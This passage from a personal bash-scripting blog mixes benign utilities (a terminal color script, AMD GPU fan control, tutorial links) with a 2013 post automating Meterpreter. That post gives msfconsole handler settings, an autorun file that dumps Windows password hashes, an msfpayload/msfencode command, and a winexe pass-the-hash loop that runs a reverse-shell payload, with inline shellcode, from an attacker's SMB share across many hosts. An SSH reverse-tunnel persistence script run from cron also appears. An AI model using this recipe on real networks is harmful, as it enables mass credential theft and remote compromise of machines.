  echo $(tput setaf smul)${*}$(tput sgr0)
  ;;
 custom)
  color_code=${2}
  shift 2
  echo $(tput setaf ${color_code})${*}$(tput sgr0)
  ;;
 ls-color-codes)
  for i in $(seq 0 256); do 
  tput setaf ${i}
  printf " %3s" "$i"
  tput sgr0
  if [ $((($i + 1) % 16)) == 0 ] ; then
   echo #New line
  fi
  done 
  ;;
 *)
  cat <
This script will echo your text as a specified color.

Usage:
 $0
 $0 custom
 $0 ls-color-codes
USAGE
 esac
}
echo_color $*
I'm particularly happy with my ls-color-codes argument, it will print a 16x16 box of the color codes and their colors.

Happy scripting!

Tuesday, August 13, 2013

Automating Meterpreter from bash

This is pretty disgusting and a stupidly unstable hackjob, but it worked and this blog is more for notes for myself anyway...


Generate the post-exploitation comand rc file:

cat > /root/automsf.rc
getsystem
run post/windows/gather/smart_hashdump
run post/windows/gather/cachedump
exit

Then run msfconsole to listen for the callback:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.10
set AutoRunScript multi_console_command -rc /root/automsf.rc
expoit -j -z
 Then generate the payload to use with sce:
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=1.1.1.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
 Then run the forloop while serving sce from a share
for i in `cat file-of-smb-hosts`; do 
echo grabbing $i; 
winexe-PTH -U 'DOM\user%password' --uninstall //$i 'cmd.exe /c \\10.10.10.10\smb_share\sce.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lzHOys0uP30aplIKUfQn2QtNkf2vPNk0RdLlK0RftLK42Q86oMg1ZFFVQKOUayPLlElQqqlgrFL5piQXOdMGqzgxbHpaBCgLKV26pnkqR7LVaHPNk1PT8NeYP440J31zpbplKsx6xnkCha0uQiC8cGLBink4tNk7qIFp1io5aiPLlYQjodMwqO7GH9El45S1mIhEkQmtd1eZB3hnkchGTVaiC0fnkTL0KLKpXgluQkcnkwtlKC1xPLIRd14ddQKaKU1Ci1JCa9o9paHSopZNk7bXkmV3mE8FSTrWps0RH3Gt3p2copTBHPL47gVVgYoyEoHj0eQc0ePwYzdRtpPPhWYm; 
done

Now it should iterate through all of the IPs in the text file, executing sce from a share (no hard drive footprint) and executing the callback to your msfconsole listener. It then auto loads the rest of the payload, executes the .rc file, and exists. Rinse and repeat with the next IP

Tuesday, July 23, 2013

SSH Persistent Connection Script

I just reinstalled a test machine and forgot to save my ssh tunnel script so i decided to write a new one.

#!/bin/bash
#this script will constantly maintain (via crontab) a remote forward connection to another machine. This can
#be used as a way to connect to a jumpbox to get over a pesky NAT

remote_listen_port=2222
local_ssh_port=22
remote_host=example.com
remote_user=user1
identity_file=/home/user1/.ssh/key1

connect_string="ssh -N -T -R ${remote_listen_port}:localhost:${local_ssh_port} ${remote_user}@${remote_host} -i ${identity_file} -o ConnectTimeout=60 ServerAliveInterval=10"

process_is_up(){
 ps aux | grep "${connect_string}" | grep -v grep
}

start_bot(){
 ${connect_string}
}


if process_is_up ; then
 echo process is up, exiting
 exit 1
else
 echo process is down, starting now
 start_bot &
fi;
#add to root homedir and then crontab with the following line:
#* * * * * /root/ssh-bot-script.sh > /dev/null

Get/Set Fan Speeds for AMD Video Cards in Linux

I'm messing around with GPU cracking and I've been changing fan speeds manually a lot so I wrote a script to do it for me. This script will output the temperature & fan speed of the two cards in my system, as well as allow me to set the fan speeds for either/both:
#!/bin/bash
#ati-stats.sh - gives environmental stats about the ATI videocards. this assumes you have two cards
get_fan_speed () {
        DISPLAY=:0.${1}
        aticonfig --pplib-cmd "get fanspeed 0" | grep '%' | cut -d ':' -f 3
}

set_fan_speed () {
        DISPLAY=:0.${1}
        aticonfig --pplib-cmd "set fanspeed 0 ${2}"
}

get_temp () {
        aticonfig --adapter=${1} --odgt | grep Temp |cut -d '-' -f 2
}
if [[ -z ${1} ]]; then #if no arguments then output stats
        echo "0: $(get_temp 0) --$(get_fan_speed 0 )"
        echo "1: $(get_temp 1) --$(get_fan_speed 1 )"
else
        case ${1} in
                get)
                        get_fan_speed ${2}
                        ;;
                set)
                        oldspeed=$(get_fan_speed ${2})
                        set_fan_speed ${2} ${3}
                        echo "${2}: ${oldspeed} -> $(get_fan_speed ${2})"
                        ;;
                setboth)
                        oldspeed=$(get_fan_speed 0)
                        set_fan_speed 0 ${2}
                        echo "0: ${oldspeed} -> $(get_fan_speed 0)"
                        oldspeed=$(get_fan_speed 1)
                        set_fan_speed 1 ${2}
                        echo "1: ${oldspeed} -> $(get_fan_speed 1)"
                        ;;
                *)
                        echo "Usage: $0 [get Adapter_NUM | set Adapter_NUM fan_PERCENT | setboth fan_PERCENT]"
                        ;;
        esac;
fi;

Wednesday, June 5, 2013

Getting Better At Bash Scripting

some people really suck at bash scripting. Some people are just lazy. I'm the latter. Often times i know whats best, i just dont care because it really doesnt matter in that particular situation...

Here are a couple sites that made me become the go-to person for bashisms and all the "why doesnt this work" bash questions.

http://wiki.bash-hackers.org/start
http://tldp.org/LDP/abs/html/
http://www.tldp.org/LDP/Bash-Beginners-Guide/html/Bash-Beginners-Guide.html
http://www.tldp.org/LDP/intro-linux/html/intro-linux.html
http://www.tldp.org/LDP/sag/html/sag.html

The bash-hackers link is a frackin' gold mine.